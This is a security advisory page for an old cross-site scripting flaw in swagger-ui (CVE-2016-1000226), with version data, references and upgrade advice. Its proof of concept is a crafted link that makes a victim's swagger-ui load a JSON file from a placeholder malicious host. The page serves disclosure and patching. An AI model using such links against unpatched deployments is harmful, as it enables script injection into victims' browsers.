Cross-Site Scripting in swagger-ui

published 2020-09-01 6y ago modified 2023-11-08 3y ago also GHSA-7f59-x49p-v8mq

cvss: —; not scored
cisa kev: Not listed; not in CISA's catalog
epss: —; no EPSS score yet
public exploits: 0; none known

Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.

Additionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.

## Proof of Concept

``` http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json ````

## Recommendation

Update to version 2.2.1 or later.

Patch / fix

fixed in 1 links 1

npm swagger-ui 2.2.1

github.com/swagger-api/swagger-ui#1867 pull request

Is CVE-2016-1000226 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

Affected packages

ecosystem	package	affected	fixed in
npm	swagger-ui	<2.2.1	2.2.1

Classification

Weakness

CWE-79 Improper Neutralization of Input During Web Page Generation

References

github.com /swagger-api/swagger-ui/pull/1867
web
nvd.nist.gov /vuln/detail/CVE-2016-1000226
advisory
github.com /swagger-api/swagger-ui/issues/1866
web
github.com /swagger-api/swagger-ui
package
npmjs.com /advisories/123
web

Sources

GitHub Advisory GHSA-7f59-x49p-v8mq

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.